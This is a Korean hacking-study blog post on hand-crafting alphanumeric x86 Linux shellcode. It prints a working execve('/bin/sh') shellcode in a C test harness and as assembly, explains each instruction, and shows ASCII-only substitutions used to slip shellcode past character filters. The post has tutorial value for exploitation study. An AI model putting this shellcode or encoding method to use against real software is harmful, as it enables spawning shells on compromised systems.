알파뉴메릭 쉘코드 제작방법에 대해 포스팅합니다. 말 그대로 숫자, 영어만으로 쉘코드를 제작할 수 있습니다.
오래된 기법이긴 하지만 이리저리 국내, 해외사이트를 뒤져봐도 정작 제작하는 방법은 안 나와있고 여러가지 툴을 이용한, Alpha3으로 제작하기, 메타스플로잇 alpha_mixed 옵션을 이용해서 만들기 밖에 없네요.
아스키쉘코드를 적용시키려면 우선 환경이 중요합니다. esp컨트롤로 스택포인트를 eip에 위치시켜서 xor한 값을 실행시킬 수 있습니다.
우선, 제일(?) 유명할 거라 생각되는 리눅스 쉘코드를 던져봅니다.
http://shell-storm.org/shellcode/files/shellcode-827.php
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
풀이해보자면 eax를 0으로 초기화시켜서 스택에 널값을 올려두고, 푸쉬명령어로 스택에 /bin/sh를 올린 후,
스택포인트 주소를 ebx에 둡니다. ebx = "/bin/sh" 널값을 올린 이유는 /bin/sh 뒤에 쓰레기값이 붙게 하지 않기 위함입니다.
그 후, 0(eax)을 다시 푸쉬하고 ebx값을 푸쉬합니다. 그럼 스택에는 /bin/sh를 가리키는 주소가 푸쉬되겠지요.
/bin/sh를 가리키는 주소의 주소를 ecx에 옮깁니다. 그렇게 되면, ecx = &ebx 이렇게 표현할 수 있을 것 같네요.
그리고 eax의 하위바이트에 11을 옮기고 인터럽트 80으로 시스템콜을 호출합니다.
이렇게 되면, 시스템콜 넘버 11인 execve 함수가 호출되고 첫번째 인자인 ebx = "/bin/sh" 두번째 인자인 ecx = *["/bin/sh"],
환경변수 edx = ?? 가 되는데, edx는 bad address 만 뜨지 않을정도로만 잡아주면 execve는 잘 작동합니다.
스택 상태를 그림으로 정리해보면 이렇게 됩니다.
중요한 건, xor %eax, %eax를 이용해 초기화된 eax값을 스택에 푸쉬하는 것도 아니고 결과적으로
eax = 0xb, ebx = "/bin/sh", ecx = *["/bin/sh"], edx = 오류 안 날 정도의 값 (환경변수)
이렇게 설정해 준 뒤, int $0x80을 불러주는 겁니다.
위의 쉘코드는
xor %eax,%eax \x31\xc0 X push %eax \x50 push $0x68732f2f \x68\x2f\x2f\x73\x68 push $0x6e69622f \x68\x2f\x62\x69\x6e mov %esp,%ebx \x89\xe3 X push %eax \x50 push %ebx \x53 mov %esp,%ecx \x89\xe1 X mov $0xb,%al \xb0\x0b X int $0x80 \xcd\x80 X
아스키 범위를 벗어나는 명령어들이 많습니다.
이걸 아스키쉘코드 테이블을 이용해 적절하게 바꿔주면 됩니다.
Ascii Shellcode Table :
1. https://nets.ec/Ascii_shellcode
2. http://ninja-sec.org/cyber-security-resources/ascii-shellcode-table/
일단,
아스키 쉘코드를 쓸 때에 환경이 중요하다고 했던 건, 결국 esp를 eip가 가리키는 곳으로 컨트롤해서
xor로 cd 80 (int $0x80)을 만들었던 값을 스택에 푸쉬합니다. 그걸 eip가 가리키게 하면 인터럽트 80이 실행됩니다.
예를 들어 로컬환경에서 테스트할 때는 이렇게 짤 수 있습니다.
int $0x80을 제외한 나머지 값들은 전부 아스키 범위 안입니다.
문제가 됬던 값들
xor %eax, %eax
mov %esp, %ebx
mov %esp, %ecx
mov $0xb, %al
을
xor %eax, %eax -> dec %eax
mov %esp, %ebx -> push %esp, pop %ebx
mov %esp, %ecx -> push %esp, pop %ecx
mov $0xb, %al -> push $0x3b, pop %eax, xor $0x30, %al
로 변경해주었습니다.
int $0x80을 안한 건 (포스팅하려고 만들기엔 너무 귀찮...) 환경에 따라 스택포인트가 달라지기 때문에 만들지 않았습니다.
(근데 사실 int $0x80을 아스키쉘코드로 만드는 부분이 제일 중요합니다.)
어떤 값을 이용하던지 int $0x80을 만들기 전까지는 ebx = "/bin/sh", ecx = *["/bin/sh"] 만 만들어주시면 됩니다.
eax 값은 xor할 때에 쓰이므로 일단 놔두시고 edx나 esi, edi는 쓰이지 않으므로 이 변수들을 이용해서 값들을 저장해뒀다가
스택포인트를 eip에 넣을 때 적절히 사용하시면 되고요.
이렇게 쉘코드를 만들다보면 어느새 값을 다 맞추고 int $0x80 (cd 80) 을 실행해야 될 때가 됩니다.
우선 cd80 아스키쉘코드를 만들기 전에 info reg로 레지스터에 어떤 값들이 있는지 확인을 합니다.
다른 방법으로도 xor하여 스택에 cd80이 들어갈 수만 있다면 그 값을 미리 만들어두는 것도 좋습니다.
그리고 그걸 따로 다른 안 쓰는 변수에 저장해뒀다가 후에 esp를 어떤식으로든 eip 근처에 갈 수 있게 조작을 해둡니다.
그 이유를 그림으로 설명해봅니다.
결국 Instruction이 실행되는 건 기계어로 바뀐 코드 cd 80을 eip가 만나게 되어 실행을 하는 구조로 되어있습니다.
값을 다 셋팅한 후 cd 80을 만나기 전까지 의미없는 명령어 \x47로 다 채웠는데 (\x47 = inc edi) 지금 eip와 esp의 거리는
0x5e정도로 멀찍이 떨어져있습니다. 좀 더 가깝게 하고 싶으면 push(esp - 4)를 이용해서 가깝게 붙일 수 있습니다.
그림의 register가 eip를 가리키는 그림은 eip가 저기에 있을 때의 레지스터 상태를 나타내고 있습니다.
이걸로 알파뉴메릭 쉘코드 제작방법 포스팅을 마칩니다. (_ _)
'Let's Study > Hacking Technique' 카테고리의 다른 글
최신 우분투 환경에서 환경변수를 이용한 쉘코드 테스팅 (0) | 2015.10.07 |
---|---|
stack corruption basic (2) | 2014.10.24 |
Assembly-> C Handray(2) (0) | 2014.10.07 |
Assembly-> C Handray(1) (2) | 2014.10.06 |